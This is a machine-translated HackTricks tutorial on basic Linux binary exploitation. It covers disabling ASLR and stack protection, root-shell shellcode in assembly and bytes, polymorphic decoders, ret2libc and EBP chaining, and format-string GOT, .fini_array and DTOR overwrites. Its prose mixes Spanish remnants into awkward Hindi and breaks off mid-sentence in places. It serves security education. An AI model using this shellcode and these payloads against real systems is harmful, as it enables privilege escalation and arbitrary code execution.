.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Basic) (SPA)
Linux Exploiting (Basic) (SPA)
AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord समूह में शामिल हों या telegram समूह या Twitter पर 🐦 @carlospolopm को फॉलो करें.
- HackTricks और HackTricks Cloud github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
ASLR
पता यादृच्छिकरण
वैश्विक यादृच्छिकरण (ASLR) निष्क्रिय करें (रूट):
echo 0 > /proc/sys/kernel/randomize_va_space
वैश्विक यादृच्छिकरण पुनः सक्रिय करें: echo 2 > /proc/sys/kernel/randomize_va_space
एक निष्पादन के लिए निष्क्रिय करें (रूट की आवश्यकता नहीं है):
setarch `arch` -R ./ejemplo argumentos
setarch `uname -m` -R ./ejemplo argumentos
स्टैक निष्पादन संरक्षण निष्क्रिय करें
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack ejemplo.c -o ejemplo
कोर फ़ाइल
ulimit -c unlimited
gdb /exec core_file
/etc/security/limits.conf -> * soft core unlimited
टेक्स्ट
डेटा
BSS
हीप
स्टैक
BSS अनुभाग: अप्रारंभिक वैश्विक या स्थिर चर
static int i;
डाटा सेक्शन: इनिशियलाइज्ड ग्लोबल या स्टैटिक वेरिएबल्स
int i = 5;
अनुभाग TEXT: कोड निर्देश (opcodes)
अनुभाग HEAP: गतिशील रूप से आरक्षित बफर (malloc(), calloc(), realloc())
अनुभाग STACK: स्टैक (पारित तर्क, पर्यावरण स्ट्रिंग्स (env), स्थानीय चर…)
1.STACK OVERFLOWS
buffer overflow, buffer overrun, stack overrun, stack smashing
सेगमेंटेशन फॉल्ट या सेगमेंट उल्लंघन: जब किसी मेमोरी पते तक पहुँचने की कोशिश की जाती है जो प्रक्रिया को आवंटित नहीं किया गया है।
किसी कार्यक्रम के भीतर किसी फ़ंक्शन का पता प्राप्त करने के लिए किया जा सकता है:
objdump -d ./PROGRAMA | grep FUNCION
ROP
sys_execve कॉल
{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}
2.SHELLCODE
कर्नेल इंटरप्ट्स देखें: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; eax को साफ करें
xor ebx, ebx ; ebx = 0 क्योंकि कोई आर्गुमेंट पास नहीं करना है
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; syscall निष्पादित करें
nasm -f elf assembly.asm —> हमें .o फाइल देता है
ld assembly.o -o shellcodeout —> असेंबलर कोड से बना एक एक्जीक्यूटेबल देता है और हम objdump के साथ opcodes निकाल सकते हैं
objdump -d -Mintel ./shellcodeout —> यह देखने के लिए कि वास्तव में हमारा shellcode है और OpCodes निकालें
जांचें कि shellcode काम कर रहा है
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
सिस्टम कॉल्स के सही ढंग से काम करने की जांच के लिए, पिछले प्रोग्राम को कंपाइल करना चाहिए और सिस्टम कॉल्स को strace ./PROGRAMA_COMPILADO में दिखना चाहिए।
शेलकोड्स बनाते समय एक चाल का इस्तेमाल किया जा सकता है। पहला निर्देश एक जंप होता है जो एक कॉल पर जाता है। कॉल मूल कोड को बुलाता है और साथ ही स्टैक में EIP भी डालता है। कॉल निर्देश के बाद हमने जो स्ट्रिंग डाली है, उसके साथ उस EIP का इस्तेमाल करके हम स्ट्रिंग को इंगित कर सकते हैं और साथ ही कोड को आगे भी चला सकते हैं।
उदा. TRUCO (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ का उपयोग करते हुए Stack(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Hunter:
यह एक छोटा कोड होता है जो किसी प्रोसेस से जुड़े मेमोरी पेजेस को ट्रैवर्स करता है ताकि वहां संग्रहीत shellcode को ढूंढ सके (shellcode में रखे गए किसी सिग्नेचर की खोज करता है)। यह उन मामलों में उपयोगी होता है जहां केवल एक छोटी जगह कोड इंजेक्ट करने के लिए उपलब्ध होती है।
Shellcodes पोलिमोर्फिक
ये एन्क्रिप्टेड shells होते हैं जिनमें एक छोटा कोड होता है जो उन्हें डिक्रिप्ट करता है और उनमें जंप करता है, Call-Pop ट्रिक का उपयोग करते हुए यह एक उदाहरण एन्क्रिप्टेड सीज़र होगा:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
- फ्रेम पॉइंटर (EBP) पर हमला
EBP को मॉडिफाई करने की स्थिति में उपयोगी है लेकिन EIP को नहीं।
यह ज्ञात है कि किसी फंक्शन से बाहर निकलते समय निम्नलिखित असेंबलर कोड निष्पादित होता है:
movl %ebp, %esp
popl %ebp
ret
इस प्रकार, यदि किसी फ़ंक्शन (fvuln) से बाहर निकलते समय EBP को संशोधित किया जा सकता है, जिसे किसी अन्य फ़ंक्शन ने कॉल किया है, तो जब वह फ़ंक्शन जिसने fvuln को कॉल किया है समाप्त होगा, उसका EIP संशोधित किया जा सकता है।
fvuln में एक नकली EBP डाला जा सकता है जो शेलकोड के डायरेक्शन + 4 (पॉप के लिए 4 जोड़ना होगा) की ओर इशारा करता है। इस प्रकार, फ़ंक्शन से बाहर निकलते समय, ESP में &(\&Shellcode)+4 का मान डाला जाएगा, पॉप के साथ ESP से 4 घटाया जाएगा और यह शेलकोड के डायरेक्शन की ओर इशारा करेगा जब ret को एक्जीक्यूट किया जाएगा।
**Exploit:**\
\&Shellcode + "AAAA" + SHELLCODE + रेलेनो + &(\&Shellcode)+4
**Off-by-One Exploit**\
केवल EBP के सबसे कम महत्वपूर्ण बाइट को संशोधित करने की अनुमति है। पिछले हमले की तरह एक हमला किया जा सकता है लेकिन शेलकोड के डायरेक्शन को संग्रहित करने वाली मेमोरी को EBP के पहले 3 बाइट्स के साथ साझा करना होगा।
## **4. रिटर्न टू लिबसी मेथड्स**
जब स्टैक एक्जीक्यूटेबल नहीं होता है या बहुत छोटा बफर छोड़ता है तो यह मेथड उपयोगी होता है।
ASLR के कारण हर एक्जीक्यूशन में फ़ंक्शन्स अलग-अलग मेमोरी पोजीशन्स में लोड होते हैं। इसलिए इस मेथड का प्रभावी होना इस मामले में संभव नहीं हो सकता है। रिमोट सर्वर्स के लिए, जैसे कि प्रोग्राम लगातार एक ही डायरेक्शन में एक्जीक्यूट हो रहा है, यह उपयोगी हो सकता है।
* **cdecl(C declaration)** आर्ग्यूमेंट्स को स्टैक में डालता है और फ़ंक्शन से बाहर निकलने के बाद स्टैक को साफ करता है
* **stdcall(standard call)** आर्ग्यूमेंट्स को स्टैक में डालता है और कॉल किए गए फ़ंक्शन द्वारा स्टैक साफ किया जाता है
* **fastcall** पहले दो आर्ग्यूमेंट्स को रजिस्टर्स में डालता है और बाकी को स्टैक में
libc के system इंस्ट्रक्शन का डायरेक्शन डाला जाता है और इसे आर्ग्यूमेंट के रूप में स्ट्रिंग “/bin/sh” पास किया जाता है, आमतौर पर एक एनवायरनमेंट वेरिएबल से। इसके अलावा, एक्जिट फ़ंक्शन का डायरेक्शन इस्तेमाल किया जाता है ताकि एक बार जब शेल की आवश्यकता नहीं होती है, तो प्रोग्राम बिना किसी समस्या के बाहर निकल जाए (और लॉग्स लिखे)।
**export SHELL=/bin/sh**
जरूरी डायरेक्शन्स को ढूँढने के लिए **GDB:** के अंदर देखा जा सकता है:\
**p system**\
**p exit**\
**rabin2 -i ejecutable** —> प्रोग्राम लोड होने पर इस्तेमाल किए गए सभी फ़ंक्शन्स का डायरेक्शन देता है\
(किसी स्टार्ट या ब्रेकपॉइंट के अंदर): **x/500s $esp** —> यहाँ हम /bin/sh स्ट्रिंग ढूँढते हैं
एक बार जब हमें ये डायरेक्शन्स मिल जाएं, तो **exploit** इस प्रकार होगा:
“A” \* EBP तक की DISTANCIA + 4 (EBP: 4 "A"s हो सकते हैं हालांकि असली EBP होना बेहतर है ताकि सेगमेंटेशन फेल्योर से बचा जा सके) + **system** का डायरेक्शन (EIP को ओवरराइट करेगा) + **exit** का डायरेक्शन (system(“/bin/sh”) से बाहर निकलने पर यह फ़ंक्शन कॉल होगा क्योंकि स्टैक के पहले 4बाइट्स को EIP के अगले डायरेक्शन के रूप में ट्रीट किया जाता है) + “**/bin/sh**” का डायरेक्शन (यह system को पास किया जाने वाला पैरामीटर होगा)
इस प्रकार EIP को system के डायरेक्शन के साथ ओवरराइट किया जाएगा जो “/bin/sh” स्ट्रिंग को पैरामीटर के रूप में प्राप्त करेगा और इससे बाहर निकलने पर exit() फ़ंक्शन एक्जीक्यूट होगा।
किसी फ़ंक्शन के किसी डायरेक्शन के किसी बाइट में नल या स्पेस (\x20) होने की स्थिति में, उस फ़ंक्शन से पहले के डायरेक्शन्स को डिसासेंबल किया जा सकता है क्योंकि संभवतः कई NOPs होंगे जो हमें उस फ़ंक्शन को सीधे कॉल करने के बजाय किसी उनमें से एक को कॉल करने की अनुमति देंगे (उदाहरण के लिए > x/8i system-4 के साथ)।
यह मेथड काम करता है क्योंकि जब किसी फ़ंक्शन जैसे कि system को opcode **ret** का उपयोग करके **call** के बजाय कॉल किया जाता है, तो फ़ंक्शन समझता है कि पहले 4बाइट्स EIP डायरेक्शन होंगे जिस पर वापस जाना है।
इस मेथड के साथ एक दिलचस्प तकनीक **strncpy()** को कॉल करना है ताकि स्टैक से हीप में एक पेलोड को मूव किया जा सके और बाद में **gets()** का उपयोग करके उस पेलोड को एक्जीक्यूट किया जा सके।
एक और दिलचस्प तकनीक **mprotect()** का उपयोग है जो किसी भी मेमोरी के हिस्से को वांछित परमिशन्स असाइन करने की अनुमति देता है। यह BDS, MacOS और OpenBSD में काम करता है या करता था, लेकिन लिनक्स में नहीं (यह चेक करता है कि लिखने और एक्जीक्यूशन की परमिशन्स एक साथ नहीं दी जा सकतीं)। इस हमले के साथ स्टैक को फिर से एक्जीक्यूटेबल के रूप में कॉन्फ़िगर किया जा सकता है।
**फ़ंक्शन्स की चेनिंग**
पिछली तकनीक पर आधारित, यह एक्सप्लॉइट का तरीका है:\
रेलेनो + \&Función1 + \&pop;ret; + \&arg\_fun1 + \&Función2 + \&pop;ret; + \&arg\_fun2 + …
इस प्रकार से फ़ंक्शन्स की एक चेन बनाई जा सकती है जिन्हें कॉल किया जा सकता है। इसके अलावा, यदि कई आर्ग्यूमेंट्स वाले फ़ंक्शन्स का उपयोग करना हो, तो जरूरी आर्ग्यूमेंट्स (उदा. 4) डाले जा सकते हैं और 4 आर्ग्यूमेंट्स डालकर ऐसे डायरेक्शन को ढूँढा जा सकता है जिसमें opcodes हों: pop, pop, pop, pop, ret —> **objdump -d ejecutable**
**EBPs की फ़ॉल्स चेनिंग (EBPs की चेनिंग)**
यह EBP को मैनिपुलेट करने की क्षमता का लाभ उठाकर कई फ़ंक्शन्स के एक्जीक्यूशन को EBP और "leave;ret" के माध्यम से चेन करने में होता है।
रेलेनो
* हम EBP में एक नकली EBP रखते हैं जो इशारा करता है: 2º EBP\_falso + जिस फ़ंक्शन को एक्जीक्यूट करना है: (\&system() + \&leave;ret + &“/bin/sh”)
* EIP में हम एक फ़ंक्शन क
Ret2PopRet
यदि हमारे पास पहले तर्क पर नियंत्रण नहीं है लेकिन दूसरे या तीसरे पर है, तो हम EIP को pop-ret या pop-pop-ret के पते से अधिलेखित कर सकते हैं, जो भी हमें आवश्यकता हो।
**मुरात तकनीक**
लिनक्स में सभी प्रोग्राम 0xbfffffff से शुरू होकर मैप किए जाते हैं।
लिनक्स में एक नई प्रक्रिया के स्टैक का निर्माण कैसे होता है, इसे देखते हुए एक ऐसे वातावरण में एक्सप्लॉइट विकसित किया जा सकता है जिसका एकमात्र चर shellcode हो। इसका पता इस प्रकार गणना किया जा सकता है: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
इस तरह से आसानी से उस वातावरण चर का पता लगाया जा सकता है जिसमें shellcode है।
यह execle फ़ंक्शन की बदौलत संभव है जो केवल उन्हीं वातावरण चरों के साथ एक वातावरण बनाने की अनुमति देता है जो आप चाहते हैं।
**ESP पर जम्प: विंडोज़ शैली**
चूंकि ESP हमेशा स्टैक की शुरुआत की ओर इशारा करता है, इस तकनीक में EIP को **jmp esp** या **call esp** के पते से बदलना शामिल है। इस तरह, EIP के अधिलेखन के बाद shellcode को संग्रहित किया जाता है क्योंकि **ret** को निष्पादित करने के बाद ESP अगले पते की ओर इशारा करेगा, जहां shellcode संग्रहित किया गया है।
यदि विंडोज़ या लिनक्स में ASLR सक्रिय नहीं है, तो किसी साझा ऑब्जेक्ट में संग्रहित **jmp esp** या **call esp** को कॉल किया जा सकता है। यदि ASLR सक्रिय है, तो खुद वल्नरेबल प्रोग्राम के भीतर खोजा जा सकता है।
इसके अलावा, EIP के भ्रष्टाचार के बाद shellcode को स्टैक के बीच में नहीं बल्कि उसके बाद रखने की क्षमता, यह सुनिश्चित करती है कि फ़ंक्शन के बीच में निष्पादित होने वाले push या pop निर्देश shellcode को छू नहीं पाएंगे (जो कि स्टैक के बीच में रखने पर हो सकता है)।
इसी तरह से यदि हम जानते हैं कि कोई फ़ंक्शन shellcode के संग्रहित पते को लौटाता है, तो **call eax** या **jmp eax (ret2eax)** को कॉल किया जा सकता है।
**ROP (Return Oriented Programming) या borrowed code chunks**
जिन कोड टुकड़ों को बुलाया जाता है उन्हें gadgets कहा जाता है।
यह तकनीक **ret2libc** तकनीक और **pop,ret** के उपयोग के माध्यम से विभिन्न फ़ंक्शन कॉल्स को जोड़ने में शामिल है।
कुछ प्रोसेसर आर्किटेक्चर में प्रत्येक निर्देश 32bits का एक सेट होता है (MIPS उदाहरण के लिए)। हालांकि, इंटेल में निर्देश विभिन्न आकार के होते हैं और कई निर्देश एक सेट बिट्स को साझा कर सकते हैं, उदाहरण के लिए:
**movl $0xe4ff, -0x(%ebp)** —> 0xffe4 बाइट्स भी शामिल हैं जो इसका अनुवाद करते हैं: **jmp \*%esp**
इस तरह से कुछ निर्देशों को निष्पादित किया जा सकता है जो वास्तव में मूल प्रोग्राम में भी नहीं होते हैं।
**ROPgadget.py** हमें बाइनरीज़ में मान खोजने में मदद करता है।
यह प्रोग्राम **payloads** बनाने के लिए भी उपयोगी है। आप उसे उस लाइब्रेरी का नाम दे सकते हैं जिससे आप ROPs निकालना चाहते हैं और यह एक पायथन payload उत्पन्न करेगा जिसे आप उस लाइब्रेरी के पते के साथ देते हैं और payload शेलकोड के रूप में उपयोग के लिए तैयार होता है। इसके अलावा, चूंकि यह सिस्टम कॉल्स का उपयोग करता है, यह वास्तव में स्टैक पर कुछ भी नहीं चलाता है बल्कि केवल ROPs के पते संग्रहित करता है जो **ret** के माध्यम से निष्पादित होंगे। इस payload का उपयोग करने के लिए आपको **ret** निर्देश के माध्यम से payload को कॉल करना होगा।
**Integer overflows**
यह प्रकार के overflows तब होते हैं जब कोई चर इतनी बड़ी संख्या को सहन करने के लिए तैयार नहीं होता है जितनी उसे दी जाती है, संभवतः चिन्हित और अचिन्हित चरों के बीच भ्रम के कारण, उदाहरण के लिए:
```c
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
पिछले उदाहरण में हम देखते हैं कि प्रोग्राम 2 पैरामीटर्स की अपेक्षा करता है। पहला पैरामीटर अगले स्ट्रिंग की लंबाई है और दूसरा स्ट्रिंग है।
यदि हम पहले पैरामीटर के रूप में एक नकारात्मक संख्या पास करते हैं, तो यह दिखाई देगा कि len < 256 है और हम उस फिल्टर को पार कर जाएंगे, और साथ ही strlen(buffer) भी l से कम होगा, क्योंकि l एक unsigned int है और बहुत बड़ा होगा।
इस प्रकार के overflows का उद्देश्य प्रोग्राम की प्रक्रिया में कुछ लिखना नहीं है, बल्कि खराब डिजाइन किए गए फिल्टर्स को पार करना है ताकि अन्य संवेदनशीलताओं का शोषण किया जा सके।
अप्रारंभिक वेरिएबल्स
एक अप्रारंभिक वेरिएबल का मूल्य क्या हो सकता है, यह नहीं जाना जाता है और इसे देखना दिलचस्प हो सकता है। हो सकता है कि यह पिछले फंक्शन के एक वेरिएबल का मूल्य ले ले और यह अटैकर द्वारा नियंत्रित हो।
Format Strings
C में printf
एक फंक्शन है जिसका उपयोग किसी स्ट्रिंग को प्रिंट करने के लिए किया जा सकता है। इस फंक्शन का पहला पैरामीटर कच्चा पाठ और फॉर्मेटर्स होता है। इसके बाद के पैरामीटर्स वे मूल्य होते हैं जो कच्चे पाठ से फॉर्मेटर्स की जगह लेते हैं।
जब एक अटैकर का टेक्स्ट पहले आर्गुमेंट के रूप में इस फंक्शन में डाला जाता है तो संवेदनशीलता प्रकट होती है। अटैकर printf फॉर्मेट स्ट्रिंग क्षमताओं का विशेष इनपुट का दुरुपयोग करके किसी भी डेटा को किसी भी पते पर लिखने में सक्षम होगा। इस तरह से मनमाने कोड को निष्पादित करने में सक्षम होना।
फॉर्मेटर्स:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
%n
लिखता है लिखे गए बाइट्स की संख्या निर्दिष्ट पते पर। लिखना उतने ही बाइट्स जितनी हेक्स संख्या हमें लिखनी होती है यही तरीका है कोई भी डेटा लिखने का।
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
यह वह तालिका है जिसमें प्रोग्राम द्वारा प्रयुक्त बाहरी फंक्शन्स के पते होते हैं।
इस तालिका का पता प्राप्त करें: objdump -s -j .got ./exec
देखें कि GEF में एक्जीक्यूटेबल लोड करने के बाद आप GOT में मौजूद फंक्शन्स को देख सकते हैं: gef➤ x/20x 0xDIR_GOT
GEF का उपयोग करके आप एक डिबगिंग सेशन शुरू कर सकते हैं और got
चलाकर got तालिका देख सकते हैं:
एक बाइनरी में GOT में फंक्शन्स के पते या PLT सेक्शन के होते हैं जो फंक्शन पते को लोड करेगा। इस एक्सप्लॉइट का उद्देश्य एक फंक्शन के GOT प्रविष्टि को ओवरराइड करना है जो बाद में system
फंक्शन के PLT के पते के साथ निष्पादित किया जाएगा। आदर्श रूप से, आप एक फंक्शन के GOT को ओवरराइड करेंगे जो आपके द्वारा नियंत्रित पैरामीटर्स के साथ कॉल किया जाएगा (ताकि आप system फंक्शन को भेजे जाने वाले पैरामीटर्स को नियंत्रित कर सकें)।
यदि system
का उपयोग स्क्रिप्ट द्वारा नहीं किया जाता है, तो system फंक्शन का GOT में कोई प्रविष्टि नहीं होगी। इस परिदृश्य में, आपको पहले system
फंक्शन के पते को लीक करने की आवश्यकता होगी।
Procedure Linkage Table एक रीड ओनली तालिका है ELF फाइल में जो सभी आवश्यक सिंबल्स को स्टोर करती है जिन्हें रिज़ॉल्यूशन की आवश्यकता होती है। जब इन फंक्शन्स में से कोई एक कॉल किया जाता है तो GOT फ्लो को PLT की ओर रीडायरेक्ट करेगा ताकि वह फंक्शन के पते को रिज़ॉल्व कर सके और उसे GOT पर लिख सके।
फिर, अगली बार जब उस पते पर कॉल किया जाता है तो फंक्शन सीधे कॉल किया जाता है बिना उसे रिज़ॉल्व करने की आवश्यकता के।
आप PLT के पते objdump -j .plt -d ./vuln_binary
के साथ देख सकते हैं।
Exploit Flow
पहले समझाया गया था कि लक्ष्य बाद में कॉल किए जाने वाले GOT तालिका में एक फंक्शन के पते को ओवरराइट करना होगा। आदर्श रूप से हम एक निष्पादन योग्य सेक्शन में स्थित एक शेलकोड के पते को सेट कर सकते हैं, लेकिन बहुत संभावना है कि आप एक निष्पादन योग्य सेक्शन में शेलकोड लिखने में सक्षम नहीं होंगे।
इसलिए एक अलग विकल्प है ओवरराइट करना एक फंक्शन को जो अपने आर्ग्युमेंट्स को यूजर से प्राप्त करता है और उसे system
फंक्शन की ओर पॉइंट करता है।
पते को लिखने के लिए, आमतौर पर 2 चरण किए जाते हैं: आप पहले 2Bytes के पते को लिखते हैं और फिर दूसरे 2 को। इसके लिए $hn
का उपयोग किया जाता है।
HOB को पते के 2 उच्चतर बाइट्स के लिए कहा जाता है
LOB को पते के 2 निचले बाइट्स के लिए कहा जाता है
इसलिए, फॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण आपको [HOB, LOB] में से सबसे छोटे को पहले लिखना होगा और फिर दूसरे को।
यदि HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
यदि HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`
Format String Exploit Template
आप यहां format-strings का उपयोग करके GOT को एक्सप्लॉइट करने के लिए एक टेम्पलेट पा सकते हैं:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
.fini_array
मूल रूप से यह एक संरचना है जिसमें फंक्शन्स होते हैं जो प्रोग्राम समाप्त होने से पहले कॉल किए जाएंगे। यह दिलचस्प है यदि आप अपने शेलकोड को केवल एक पते पर जंप करके कॉल कर सकते हैं, या उन मामलों में जहां आपको मेन में वापस जाने की आवश्यकता होती है ताकि दूसरी बार फॉर्मेट स्ट्रिंग को एक्सप्लॉइट कर सकें।
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
ध्यान दें कि यह एक अनंत लूप नहीं बनाएगा क्योंकि जब आप मुख्य कार्यक्रम में वापस आते हैं तो कैनरी नोटिस करेगा, स्टैक का अंत भ्रष्ट हो सकता है और फंक्शन फिर से नहीं बुलाया जाएगा। इसलिए इसके साथ आप वल्न का एक और निष्पादन कर सकते हैं।
फॉर्मेट स्ट्रिंग्स से सामग्री डंप करना
एक फॉर्मेट स्ट्रिंग का उपयोग कार्यक्रम की मेमोरी से सामग्री डंप करने के लिए भी किया जा सकता है।
उदाहरण के लिए, निम्नलिखित स्थिति में स्टैक में एक स्थानीय चर है जो एक फ्लैग की ओर इशारा करता है। यदि आप पता लगाते हैं कि मेमोरी में फ्लैग के लिए पॉइंटर कहां है, तो आप printf को उस पते तक पहुंचने और फ्लैग प्रिंट करने के लिए बना सकते हैं:
तो, फ्लैग 0xffffcf4c में है
और लीक से आप देख सकते हैं कि फ्लैग के लिए पॉइंटर 8वें पैरामीटर में है:
तो, 8वें पैरामीटर को एक्सेस करके आप फ्लैग प्राप्त कर सकते हैं:
ध्यान दें कि पिछले एक्सप्लॉइट का पालन करते हुए और यह समझते हुए कि आप सामग्री लीक कर सकते हैं, आप printf
के लिए पॉइंटर्स सेट कर सकते हैं जहां एक्जीक्यूटेबल लोड किया गया है और इसे पूरी तरह से डंप कर सकते हैं!
DTOR
{% hint style="danger" %} आजकल एक बाइनरी में dtor सेक्शन होना बहुत अजीब है। {% endhint %}
डिस्ट्रक्टर वे फंक्शन होते हैं जो कार्यक्रम समाप्त होने से पहले निष्पादित किए जाते हैं।
यदि आप __DTOR_END__
में एक शेलकोड के पते को लिखने में सफल होते हैं, तो वह कार्यक्रम समाप्त होने से पहले निष्पादित किया जाएगा।
इस सेक्शन का पता प्राप्त करें:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
आमतौर पर आप DTOR अनुभाग को ffffffff
और 00000000
मानों के बीच पाएंगे। इसलिए अगर आपको केवल ये मान दिखाई देते हैं, इसका मतलब है कि कोई भी फंक्शन पंजीकृत नहीं है। इसलिए 00000000
को ओवरराइट करें शेलकोड के पते के साथ ताकि इसे निष्पादित किया जा सके।
फॉर्मेट स्ट्रिंग्स से बफर ओवरफ्लोज तक
sprintf एक फॉर्मेटेड स्ट्रिंग को एक वेरिएबल में ले जाता है। इसलिए, आप स्ट्रिंग की फॉर्मेटिंग का दुरुपयोग कर सकते हैं ताकि वेरिएबल में बफर ओवरफ्लो हो सके जहां सामग्री की प्रतिलिपि बनाई जाती है।
उदाहरण के लिए, पेलोड %.44xAAAA
वेरिएबल में 44B+"AAAA" लिखेगा, जिससे बफर ओवरफ्लो हो सकता है।
__atexit संरचनाएं
{% hint style="danger" %} आजकल इसका शोषण करना बहुत अजीब है। {% endhint %}
atexit()
एक फंक्शन है जिसमें अन्य फंक्शन्स को पैरामीटर के रूप में पास किया जाता है। ये फंक्शन्स निष्पादित किए जाएंगे जब exit()
को निष्पादित किया जाता है या मेन की वापसी होती है।
अगर आप इन फंक्शन्स के पते को मॉडिफाई कर सकते हैं ताकि वह उदाहरण के लिए एक शेलकोड की ओर इशारा करे, तो आप प्रक्रिया का नियंत्रण प्राप्त कर लेंगे, लेकिन यह वर्तमान में अधिक जटिल है।
वर्तमान में निष्पादित होने वाले फंक्शन्स के पते कई संरचनाओं के पीछे छिपे हुए हैं और अंत में जिस पते की ओर यह इशारा करता है वह फंक्शन्स के पते नहीं होते हैं, बल्कि XOR के साथ एन्क्रिप्टेड होते हैं और एक रैंडम कुंजी के साथ विस्थापन होते हैं। इसलिए वर्तमान में यह हमले का वेक्टर x86 और x64_86 पर कम से कम बहुत उपयोगी नहीं है।
एन्क्रिप्शन फंक्शन PTR_MANGLE
है। अन्य आर्किटेक्चर्स जैसे कि m68k, mips32, mips64, aarch64, arm, hppa... एन्क्रिप्शन फंक्शन को लागू नहीं करते क्योंकि यह वही लौटाता है जो इसे इनपुट के रूप में प्राप्त हुआ था। इसलिए ये आर्किटेक्चर्स इस वेक्टर से हमले के लिए उपलब्ध होंगे।
setjmp() और longjmp()
{% hint style="danger" %} आजकल इसका शोषण करना बहुत अजीब है। {% endhint %}
Setjmp()
कॉन्टेक्स्ट को सेव करने की अनुमति देता है (रजिस्टर्स)
longjmp()
कॉन्टेक्स्ट को रिस्टोर करने की अनुमति देता है।
सेव किए गए रजिस्टर्स हैं: EBX, ESI, EDI, ESP, EIP, EBP
जो होता है वह यह है कि EIP और ESP PTR_MANGLE
फंक्शन द्वारा पास किए जाते हैं, इसलिए इस हमले के लिए संवेदनशील आर्किटेक्चर वही हैं जो ऊपर हैं।
वे त्रुटि पुनर्प्राप्ति या बाधाओं के लिए उपयोगी हैं।
हालांकि, जैसा कि मैंने पढ़ा है, अन्य रजिस्टर्स सुरक्षित नहीं हैं, इसलिए अगर फंक्शन के अंदर call ebx
, call esi
या call edi
है तो नियंत्रण लिया जा सकता है। या आप EBP को भी मॉडिफाई कर सकते हैं ताकि ESP को मॉडिफाई किया जा सके।
VTable और VPTR C++ में
प्रत्येक क्लास का एक Vtable होता है जो मेथड्स के पॉइंटर्स का एक ऐरे होता है।
